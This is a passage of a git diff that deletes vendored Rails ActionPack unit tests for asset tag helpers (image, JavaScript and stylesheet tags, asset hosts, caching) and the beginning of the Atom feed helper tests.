-    ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :monkey => ["head", "body", "tail"]
-    assert_dom_equal  %(<link href="/stylesheets/first.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/head.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/body.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/tail.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/last.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag('first', :monkey, 'last')
-  end
-
-  def test_custom_stylesheet_expansions_with_undefined_symbol
-    ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :monkey => nil
-    assert_raise(ArgumentError) { stylesheet_link_tag('first', :monkey, 'last') }
-  end
-
-  def test_image_path
-    ImagePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_path_to_image_alias_for_image_path
-    PathToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_image_tag
-    ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_image_tag_windows_behaviour
-    old_asset_id, ENV["RAILS_ASSET_ID"] = ENV["RAILS_ASSET_ID"], "1"
-    # This simulates the behaviour of File#exist? on windows when testing a file ending in "."
-    # If the file "rails.png" exists, windows will return true when asked if "rails.png." exists (notice trailing ".")
-    # OS X, linux etc will return false in this case.
-    File.stubs(:exist?).with('template/../fixtures/public/images/rails.png.').returns(true)
-    assert_equal '<img alt="Rails" src="/images/rails.png?1" />', image_tag('rails.png')
-  ensure
-    if old_asset_id
-      ENV["RAILS_ASSET_ID"] = old_asset_id
-    else
-      ENV.delete("RAILS_ASSET_ID")
-    end
-  end
-
-  def test_timebased_asset_id
-    expected_time = File.stat(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).mtime.to_i.to_s
-    assert_equal %(<img alt="Rails" src="/images/rails.png?#{expected_time}" />), image_tag("rails.png")
-  end
-
-  def test_timebased_asset_id_with_relative_url_root
-      ActionController::Base.relative_url_root = "/collaboration/hieraki"
-      expected_time = File.stat(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).mtime.to_i.to_s
-      assert_equal %(<img alt="Rails" src="#{ActionController::Base.relative_url_root}/images/rails.png?#{expected_time}" />), image_tag("rails.png")
-    ensure
-      ActionController::Base.relative_url_root = ""
-  end
-    
-  def test_should_skip_asset_id_on_complete_url
-    assert_equal %(<img alt="Rails" src="http://www.example.com/rails.png" />), image_tag("http://www.example.com/rails.png")
-  end
-
-  def test_should_use_preset_asset_id
-    ENV["RAILS_ASSET_ID"] = "4500"
-    assert_equal %(<img alt="Rails" src="/images/rails.png?4500" />), image_tag("rails.png")
-  end
-
-  def test_preset_empty_asset_id
-    ENV["RAILS_ASSET_ID"] = ""
-    assert_equal %(<img alt="Rails" src="/images/rails.png" />), image_tag("rails.png")
-  end
-
-  def test_should_not_modify_source_string
-    source = '/images/rails.png'
-    copy = source.dup
-    image_tag(source)
-    assert_equal copy, source
-  end
-
-  def test_caching_image_path_with_caching_and_proc_asset_host_using_request
-    ENV['RAILS_ASSET_ID'] = ''
-    ActionController::Base.asset_host = Proc.new do |source, request|
-      if request.ssl?
-        "#{request.protocol}#{request.host_with_port}"
-      else
-        "#{request.protocol}assets#{source.length}.example.com"
-      end
-    end
-    
-    ActionController::Base.perform_caching = true
-
-
-    @controller.request.stubs(:ssl?).returns(false)
-    assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png")
-
-    @controller.request.stubs(:ssl?).returns(true)
-    assert_equal "http://localhost/images/xml.png", image_path("xml.png")
-  end
-
-  def test_caching_javascript_include_tag_when_caching_on
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionController::Base.asset_host = 'http://a0.example.com'
-    ActionController::Base.perform_caching = true
-
-    assert_dom_equal(
-      %(<script src="http://a0.example.com/javascripts/all.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => true)
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
-
-    assert_dom_equal(
-      %(<script src="http://a0.example.com/javascripts/money.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => "money")
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
-
-    assert_dom_equal(
-      %(<script src="http://a0.example.com/absolute/test.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => "/absolute/test")
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute', 'test.js'))
-
-  ensure
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute'))
-  end
-
-  def test_caching_javascript_include_tag_when_caching_on_with_proc_asset_host
-    ENV['RAILS_ASSET_ID'] = ''
-    ActionController::Base.asset_host = Proc.new { |source| "http://a#{source.length}.example.com" }
-    ActionController::Base.perform_caching = true
-
-    assert_equal '/javascripts/scripts.js'.length, 23
-    assert_dom_equal(
-      %(<script src="http://a23.example.com/javascripts/scripts.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => 'scripts')
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'scripts.js'))
-
-  ensure
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'scripts.js'))
-  end
-
-  def test_caching_javascript_include_tag_when_caching_on_with_2_argument_proc_asset_host
-    ENV['RAILS_ASSET_ID'] = ''
-    ActionController::Base.asset_host = Proc.new { |source, request|
-      if request.ssl?
-        "#{request.protocol}#{request.host_with_port}"
-      else
-        "#{request.protocol}assets#{source.length}.example.com"
-      end
-    }
-    ActionController::Base.perform_caching = true
-
-    assert_equal '/javascripts/vanilla.js'.length, 23
-    assert_dom_equal(
-      %(<script src="http://assets23.example.com/javascripts/vanilla.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => 'vanilla')
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'vanilla.js'))
-
-    class << @controller.request
-      def protocol() 'https://' end
-      def ssl?() true end
-    end
-
-    assert_equal '/javascripts/secure.js'.length, 22
-    assert_dom_equal(
-      %(<script src="https://localhost/javascripts/secure.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => 'secure')
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'secure.js'))
-
-  ensure
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'vanilla.js'))
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'secure.js'))
-  end
-
-  def test_caching_javascript_include_tag_when_caching_on_with_2_argument_object_asset_host
-    ENV['RAILS_ASSET_ID'] = ''
-    ActionController::Base.asset_host = Class.new do
-      def call(source, request)
-        if request.ssl?
-          "#{request.protocol}#{request.host_with_port}"
-        else
-          "#{request.protocol}assets#{source.length}.example.com"
-        end
-      end
-    end.new
-
-    ActionController::Base.perform_caching = true
-
-    assert_equal '/javascripts/vanilla.js'.length, 23
-    assert_dom_equal(
-      %(<script src="http://assets23.example.com/javascripts/vanilla.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => 'vanilla')
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'vanilla.js'))
-
-    class << @controller.request
-      def protocol() 'https://' end
-      def ssl?() true end
-    end
-
-    assert_equal '/javascripts/secure.js'.length, 22
-    assert_dom_equal(
-      %(<script src="https://localhost/javascripts/secure.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => 'secure')
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'secure.js'))
-
-  ensure
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'vanilla.js'))
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'secure.js'))
-  end
-
-  def test_caching_javascript_include_tag_when_caching_on_and_using_subdirectory
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionController::Base.asset_host = 'http://a%d.example.com'
-    ActionController::Base.perform_caching = true
-
-    hash = '/javascripts/cache/money.js'.hash % 4
-    assert_dom_equal(
-      %(<script src="http://a#{hash}.example.com/javascripts/cache/money.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => "cache/money")
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'cache', 'money.js'))
-  ensure
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'cache', 'money.js'))
-  end
-
-  def test_caching_javascript_include_tag_with_all_and_recursive_puts_defaults_at_the_start_of_the_file
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionController::Base.asset_host = 'http://a0.example.com'
-    ActionController::Base.perform_caching = true
-
-    assert_dom_equal(
-      %(<script src="http://a0.example.com/javascripts/combined.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => "combined", :recursive => true)
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
-
-    assert_equal(
-      %(// prototype js\n\n// effects js\n\n// dragdrop js\n\n// controls js\n\n// application js\n\n// bank js\n\n// robber js\n\n// subdir js\n\n\n// version.1.0 js),
-      IO.read(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
-    )
-
-  ensure
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
-  end
-
-  def test_caching_javascript_include_tag_with_all_puts_defaults_at_the_start_of_the_file
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionController::Base.asset_host = 'http://a0.example.com'
-    ActionController::Base.perform_caching = true
-
-    assert_dom_equal(
-      %(<script src="http://a0.example.com/javascripts/combined.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => "combined")
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
-
-    assert_equal(
-      %(// prototype js\n\n// effects js\n\n// dragdrop js\n\n// controls js\n\n// application js\n\n// bank js\n\n// robber js\n\n// version.1.0 js),
-      IO.read(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
-    )
-
-  ensure
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'combined.js'))
-  end
-
-  def test_caching_javascript_include_tag_with_relative_url_root
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionController::Base.relative_url_root = "/collaboration/hieraki"
-    ActionController::Base.perform_caching = true
-
-    assert_dom_equal(
-      %(<script src="/collaboration/hieraki/javascripts/all.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => true)
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
-
-    assert_dom_equal(
-      %(<script src="/collaboration/hieraki/javascripts/money.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => "money")
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
-
-  ensure
-    ActionController::Base.relative_url_root = nil
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
-  end
-
-  def test_caching_javascript_include_tag_when_caching_off
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionController::Base.perform_caching = false
-
-    assert_dom_equal(
-      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => true)
-    )
-
-    assert_dom_equal(
-      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/subdir/subdir.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => true, :recursive => true)
-    )
-
-    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
-
-    assert_dom_equal(
-      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => "money")
-    )
-
-    assert_dom_equal(
-      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/subdir/subdir.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
-      javascript_include_tag(:all, :cache => "money", :recursive => true)
-    )
-
-    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
-  end
-
-  def test_caching_stylesheet_link_tag_when_caching_on
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionController::Base.asset_host = 'http://a0.example.com'
-    ActionController::Base.perform_caching = true
-
-    assert_dom_equal(
-      %(<link href="http://a0.example.com/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :cache => true)
-    )
-
-    expected = Dir["#{ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR}/*.css"].map { |p| File.mtime(p) }.max
-    assert_equal expected, File.mtime(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
-
-    assert_dom_equal(
-      %(<link href="http://a0.example.com/stylesheets/money.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :cache => "money")
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
-
-    assert_dom_equal(
-      %(<link href="http://a0.example.com/absolute/test.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :cache => "/absolute/test")
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute', 'test.css'))
-  ensure
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute'))
-  end
-
-  def test_concat_stylesheet_link_tag_when_caching_off
-    ENV["RAILS_ASSET_ID"] = ""
-
-    assert_dom_equal(
-      %(<link href="/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :concat => true)
-    )
-
-    expected = Dir["#{ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR}/*.css"].map { |p| File.mtime(p) }.max
-    assert_equal expected, File.mtime(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
-
-    assert_dom_equal(
-      %(<link href="/stylesheets/money.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :concat => "money")
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
-
-    assert_dom_equal(
-      %(<link href="/absolute/test.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :concat => "/absolute/test")
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute', 'test.css'))
-  ensure
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute'))
-  end
-
-  def test_caching_stylesheet_link_tag_when_caching_on_with_proc_asset_host
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionController::Base.asset_host = Proc.new { |source| "http://a#{source.length}.example.com" }
-    ActionController::Base.perform_caching = true
-
-    assert_equal '/stylesheets/styles.css'.length, 23
-    assert_dom_equal(
-      %(<link href="http://a23.example.com/stylesheets/styles.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :cache => 'styles')
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'styles.css'))
-
-  ensure
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'styles.css'))
-  end
-
-  def test_caching_stylesheet_link_tag_with_relative_url_root
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionController::Base.relative_url_root = "/collaboration/hieraki"
-    ActionController::Base.perform_caching = true
-
-    assert_dom_equal(
-      %(<link href="/collaboration/hieraki/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :cache => true)
-    )
-
-    expected = Dir["#{ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR}/*.css"].map { |p| File.mtime(p) }.max
-    assert_equal expected, File.mtime(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
-
-    assert_dom_equal(
-      %(<link href="/collaboration/hieraki/stylesheets/money.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :cache => "money")
-    )
-
-    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
-  ensure
-    ActionController::Base.relative_url_root = nil
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
-    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
-  end
-
-  def test_caching_stylesheet_include_tag_when_caching_off
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionController::Base.perform_caching = false
-
-    assert_dom_equal(
-      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :cache => true)
-    )
-
-    assert_dom_equal(
-      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :cache => true, :recursive => true)
-    )
-
-    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
-
-    assert_dom_equal(
-      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :cache => "money")
-    )
-
-    assert_dom_equal(
-      %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
-      stylesheet_link_tag(:all, :cache => "money", :recursive => true)
-    )
-
-    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
-  end
-end
-
-class AssetTagHelperNonVhostTest < ActionView::TestCase
-  tests ActionView::Helpers::AssetTagHelper
-
-  def setup
-    ActionController::Base.relative_url_root = "/collaboration/hieraki"
-
-    @controller = Class.new do
-      attr_accessor :request
-
-      def url_for(options)
-        "http://www.example.com/collaboration/hieraki"
-      end
-    end.new
-
-    @request = Class.new do
-      def protocol
-        'gopher://'
-      end
-    end.new
-
-    @controller.request = @request
-
-    ActionView::Helpers::AssetTagHelper::reset_javascript_include_default
-  end
-
-  def teardown
-    ActionController::Base.relative_url_root = nil
-  end
-
-  def test_should_compute_proper_path
-    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
-    assert_dom_equal(%(/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
-    assert_dom_equal(%(/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
-    assert_dom_equal(%(/collaboration/hieraki/images/xml.png), image_path("xml.png"))
-    assert_dom_equal(%(<img alt="Mouse" onmouseover="this.src='/collaboration/hieraki/images/mouse_over.png'" onmouseout="this.src='/collaboration/hieraki/images/mouse.png'" src="/collaboration/hieraki/images/mouse.png" />), image_tag("mouse.png", :mouseover => "/images/mouse_over.png"))
-    assert_dom_equal(%(<img alt="Mouse2" onmouseover="this.src='/collaboration/hieraki/images/mouse_over2.png'" onmouseout="this.src='/collaboration/hieraki/images/mouse2.png'" src="/collaboration/hieraki/images/mouse2.png" />), image_tag("mouse2.png", :mouseover => image_path("mouse_over2.png")))
-  end
-
-  def test_should_ignore_relative_root_path_on_complete_url
-    assert_dom_equal(%(http://www.example.com/images/xml.png), image_path("http://www.example.com/images/xml.png"))
-  end
-
-  def test_should_compute_proper_path_with_asset_host
-    ActionController::Base.asset_host = "http://assets.example.com"
-    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
-    assert_dom_equal(%(http://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
-    assert_dom_equal(%(http://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
-    assert_dom_equal(%(http://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
-    assert_dom_equal(%(<img alt="Mouse" onmouseover="this.src='http://assets.example.com/collaboration/hieraki/images/mouse_over.png'" onmouseout="this.src='http://assets.example.com/collaboration/hieraki/images/mouse.png'" src="http://assets.example.com/collaboration/hieraki/images/mouse.png" />), image_tag("mouse.png", :mouseover => "/images/mouse_over.png"))
-    assert_dom_equal(%(<img alt="Mouse2" onmouseover="this.src='http://assets.example.com/collaboration/hieraki/images/mouse_over2.png'" onmouseout="this.src='http://assets.example.com/collaboration/hieraki/images/mouse2.png'" src="http://assets.example.com/collaboration/hieraki/images/mouse2.png" />), image_tag("mouse2.png", :mouseover => image_path("mouse_over2.png")))
-  ensure
-    ActionController::Base.asset_host = ""
-  end
-
-  def test_should_ignore_asset_host_on_complete_url
-    ActionController::Base.asset_host = "http://assets.example.com"
-    assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
-  ensure
-    ActionController::Base.asset_host = ""
-  end
-
-  def test_should_wildcard_asset_host_between_zero_and_four
-    ActionController::Base.asset_host = 'http://a%d.example.com'
-    assert_match %r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_path('xml.png')
-  ensure
-    ActionController::Base.asset_host = nil
-  end
-
-  def test_asset_host_without_protocol_should_use_request_protocol
-    ActionController::Base.asset_host = 'a.example.com'
-    assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_path('xml.png')
-  ensure
-    ActionController::Base.asset_host = nil
-  end
-
-  def test_asset_host_without_protocol_should_use_request_protocol_even_if_path_present
-    ActionController::Base.asset_host = 'a.example.com/files/go/here'
-    assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_path('xml.png')
-  ensure
-    ActionController::Base.asset_host = nil
-  end
-
-  def test_assert_css_and_js_of_the_same_name_return_correct_extension
-    assert_dom_equal(%(/collaboration/hieraki/javascripts/foo.js), javascript_path("foo"))
-    assert_dom_equal(%(/collaboration/hieraki/stylesheets/foo.css), stylesheet_path("foo"))
-
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/atom_feed_helper_test.rb b/vendor/rails/actionpack/test/template/atom_feed_helper_test.rb
deleted file mode 100644
index 01a4178b..00000000
--- a/vendor/rails/actionpack/test/template/atom_feed_helper_test.rb
+++ /dev/null
@@ -1,315 +0,0 @@
-require 'abstract_unit'
-
-Scroll = Struct.new(:id, :to_param, :title, :body, :updated_at, :created_at)
-
-class ScrollsController < ActionController::Base
-  FEEDS = {}
-  FEEDS["defaults"] = <<-EOT
-        atom_feed(:schema_date => '2008') do |feed|
-          feed.title("My great blog!")
-          feed.updated((@scrolls.first.created_at))
-
-          for scroll in @scrolls
-            feed.entry(scroll) do |entry|
-              entry.title(scroll.title)
-              entry.content(scroll.body, :type => 'html')
-
-              entry.author do |author|
-                author.name("DHH")
-              end
-            end
-          end
-        end
-    EOT
-    FEEDS["entry_options"] = <<-EOT
-        atom_feed do |feed|
-          feed.title("My great blog!")
-          feed.updated((@scrolls.first.created_at))
-
-          for scroll in @scrolls
-            feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
-              entry.title(scroll.title)
-              entry.content(scroll.body, :type => 'html')
-
-              entry.author do |author|
-                author.name("DHH")
-              end
-            end
-          end
-        end
-    EOT
-    FEEDS["xml_block"] = <<-EOT
-        atom_feed do |feed|
-          feed.title("My great blog!")
-          feed.updated((@scrolls.first.created_at))
-
-          feed.author do |author|
-            author.name("DHH")
-          end
-
-          for scroll in @scrolls
-            feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
-              entry.title(scroll.title)
-              entry.content(scroll.body, :type => 'html')
-            end
-          end
-        end
-    EOT
-    FEEDS["feed_with_atomPub_namespace"] = <<-EOT
-        atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
-                 'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
-          feed.title("My great blog!")
-          feed.updated((@scrolls.first.created_at))
-
-          for scroll in @scrolls
-            feed.entry(scroll) do |entry|
-              entry.title(scroll.title)
-              entry.content(scroll.body, :type => 'html')
-              entry.tag!('app:edited', Time.now)
-
-              entry.author do |author|
-                author.name("DHH")
-              end
-            end
-          end
-        end
-    EOT
-    FEEDS["feed_with_overridden_ids"] = <<-EOT
-        atom_feed({:id => 'tag:test.rubyonrails.org,2008:test/'}) do |feed|
-          feed.title("My great blog!")
-          feed.updated((@scrolls.first.created_at))
-
-          for scroll in @scrolls
-            feed.entry(scroll, :id => "tag:test.rubyonrails.org,2008:"+scroll.id.to_s) do |entry|
-              entry.title(scroll.title)
-              entry.content(scroll.body, :type => 'html')
-              entry.tag!('app:edited', Time.now)
-
-              entry.author do |author|
-                author.name("DHH")
-              end
-            end
-          end
-        end
-    EOT
-  FEEDS["feed_with_xml_processing_instructions"] = <<-EOT
-        atom_feed(:schema_date => '2008',
-          :instruct => {'xml-stylesheet' => { :href=> 't.css', :type => 'text/css' }}) do |feed|
-          feed.title("My great blog!")
-          feed.updated((@scrolls.first.created_at))
-
-          for scroll in @scrolls
-            feed.entry(scroll) do |entry|
-              entry.title(scroll.title)
-              entry.content(scroll.body, :type => 'html')
-
-              entry.author do |author|
-                author.name("DHH")
-              end
-            end
-          end
-        end
-    EOT
-  FEEDS["feed_with_xml_processing_instructions_duplicate_targets"] = <<-EOT
-        atom_feed(:schema_date => '2008',
